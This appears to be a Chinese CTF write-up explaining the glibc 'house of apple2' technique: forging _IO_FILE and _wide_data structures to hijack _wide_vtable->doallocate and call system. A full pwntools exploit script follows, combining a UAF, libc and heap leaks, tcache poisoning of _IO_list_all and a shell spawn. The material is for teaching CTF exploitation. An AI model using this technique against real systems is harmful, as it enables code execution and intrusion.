house_of_apple2

利用条件

使用house of apple2的条件为:

  • 已知heap地址和glibc地址
  • 能控制程序执行IO操作,包括但不限于:从main函数返回、调用exit函数、通过__malloc_assert触发
  • 能控制_IO_FILEvtable_wide_data,一般使用largebin attack去控制(或者伪造IO_FILE)

利用原理

stdin/stdout/stderr这三个_IO_FILE结构体使用的是_IO_file_jumps这个vtable,而当需要调用到vtable里面的函数指针时,会使用宏去调用。其中会对vtable进行检查,会判断vtable的地址是不是在一个合法的区间。如果vtable的地址不合法,程序将会异常终止。

观察struct _IO_wide_data结构体,发现其对应有一个_wide_vtable成员。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */

__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable;
};

在调用_wide_vtable虚表里面的函数时,同样是使用宏去调用,仍然以vtable->_overflow调用为例,所用到的宏依次为:

1
2
3
4
5
6
7
8
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)

#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)

#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)

#define _IO_WIDE_JUMPS(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable

可以看到,在调用_wide_vtable里面的成员函数指针时,没有关于vtable的合法性检查

因此,我们可以劫持IO_FILEvtable_IO_wfile_jumps,控制_wide_data为可控的堆地址空间,进而控制_wide_data->_wide_vtable为可控的堆地址空间。控制程序执行IO流函数调用,最终调用到_IO_Wxxxxx函数即可控制程序的执行流。

_IO_wfile_overflow

目前在glibc源码中搜索到的_IO_WXXXXX系列函数的调用只有_IO_WSETBUF_IO_WUNDERFLOW_IO_WDOALLOCATE_IO_WOVERFLOW
其中_IO_WSETBUF_IO_WUNDERFLOW目前无法利用或利用困难,其余的均可构造合适的_IO_FILE进行利用。

_io_wfile_overflow为例,fp就是伪造的IO_FILE。

fp的设置如下:

  • _flags设置为~(2 | 0x8 | 0x800),如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为 sh;,注意前面有两个空格
  • vtable设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap地址(加减偏移),使其能成功调用_IO_wfile_overflow即可
  • _wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A
  • _wide_data->_IO_write_base设置为0,即满足*(A + 0x18) = 0
  • _wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0
  • _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B
  • _wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C
1
2
3
4
5
6
7
fake_file = FileStructure()
fake_file.flags = b' sh;\x00\x00\x00' #伪造的_flags
fake_file._IO_write_ptr = p64(1) #触发IO_overflow
fake_file.chain = p64(stdout)
fake_file._wide_data = p64(heap_base+0x8b0) #指向伪造的_wide_data
fake_file.vtable = p64(IO_wfile_jumps) #修改为_IO_wfile_jumps,为了触发_IO_wfile_overflow
fake_file = bytes(fake_file)
1
2
3
4
fake_wide = p64(0)*4						#_wide_data->_IO_write_base 设置为`0`
fake_wide += p64(0)*3 #_wide_data->_IO_buf_base设置为0
fake_wide += p64(0) + p64(0)*20 + p64(heap_base+0x9a0) #_wide_data->_wide_vtable设置为伪造的_wide_vtable
fake_wide += p64(0)*14+p64(libc_base+libc.sym['system']+0x10) #伪造的vtable+0x68处为system

调用过程

1
2
3
4
_IO_wfile_overflow
_IO_wdoallocbuf
_IO_WDOALLOCATE
*(fp->_wide_data->_wide_vtable + 0x68)(fp)

我们就是伪造最后的_wide_vtable+0x68处为system。从而触发system调用。

题目

有一次UAF,并且calloc可以一直利用,malloc只能使用两次。

先释放7个chunk,然后第8个用UAF进行释放,利用这个UAF进行泄露libc,然后用calloc切割unsortedbin堆块,因为calloc不会从tcachebin中分配,而是直接从unsortedbin中切割。然后再释放calloc切割的Chunk,泄露heap_key和heap_base。再次calloc切割,然后释放两次calloc切割的chunk进入到tcachebin中。通过UAF指针利用edit修改tcachebin的next指向_IO_list_all。将其修改到堆中伪造的fp。控制对应的_wide_data_wide_vtable

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
from pwn import *
from pwn import u64,u32,p64,p32
from ctypes import *
from libcfind import *
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
debug = 1
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('node4.anna.nssctf.cn', 28562)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num).decode())
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
libc = ELF('./libc.so.6')
def add_malloc(size,index):
rl(b">> ")
sl(b'1')
rl(b"Note size:")
sl(str(size))
rl(b"Choose a note:")
sl(str(index))
rl(b"Choose a mode: [1] or [2]")
sl(b'2')
def add_calloc(size,index):
rl(b">> ")
sl(b'1')
rl(b"Note size:")
sl(str(size))
rl(b"Choose a note:")
sl(str(index))
rl(b"Choose a mode: [1] or [2]")
sl(b'1')
def show(index):
rl(b">> ")
sl(b'3')
rl(b"Which one do you want to show?")
sl(str(index))
def delete(index):
rl(b">> ")
sl(b'2')
rl("Choose a note:")
sl(str(index))
def edit(index,content):
rl(b">> ")
sl(b'4')
rl("Choose a note:")
sl(str(index))
rl("Edit your content:")
s(content)
def uaf(index):
rl(b">> ")
sl(b'666')
rl(b"Choose a note:")
sl(str(index))
gdb.attach(p,'b _IO_wdoallocbuf')
for i in range(10):
add_calloc(0x1f0,i)
for i in range(7):
delete(i)
uaf(7)
show(7)
rl(b"content: ")
libc_leak = uu64()
lg("libc_leak",libc_leak)
libc_base = libc_leak-0x21ace0
lg("libc_base",libc_base)
add_calloc(0xe0,0)
delete(0)
show(7)
rl("content: ")
heap_key = u64(p.recv(5).ljust(8,b'\x00'))
lg("heap_key",heap_key)
heap_base = heap_key << 12
lg("heap_base",heap_base)
stdout = libc.sym['_IO_2_1_stdout_'] + libc_base + 0x1000
lg("stdout",stdout)
IO_wfile_jumps = libc_base + 0x2160c0 + 0x1000
IO_list_all = libc_base + libc.sym['_IO_list_all'] + 0x1000
lg("IO_list_all",IO_list_all)
lg("system",libc_base+libc.sym['system'])
add_calloc(0x200,4)
fake_file = FileStructure()
fake_file.flags = b' sh;\x00\x00\x00'
fake_file._IO_write_ptr = p64(1)
fake_file.chain = p64(stdout)
fake_file._wide_data = p64(heap_base+0x8b0)
fake_file.vtable = p64(IO_wfile_jumps)
fake_file = bytes(fake_file)
edit(4,fake_file)

add_calloc(0x200,5)
fake_wide = p64(0)*4
fake_wide += p64(0)*3
fake_wide += p64(0) + p64(0)*20 + p64(heap_base+0x9a0)
fake_wide += p64(0)*14+p64(libc_base+libc.sym['system']+0x10)
edit(5,fake_wide)

add_calloc(0xe0,0)
delete(0)
edit(7,p64(0)*29+p64(0xf1)+p64(heap_key^IO_list_all))

add_malloc(0xe0,0)
add_malloc(0xe0,1)
edit(1,p64(heap_base+0x6a0))
delete(2)

inter()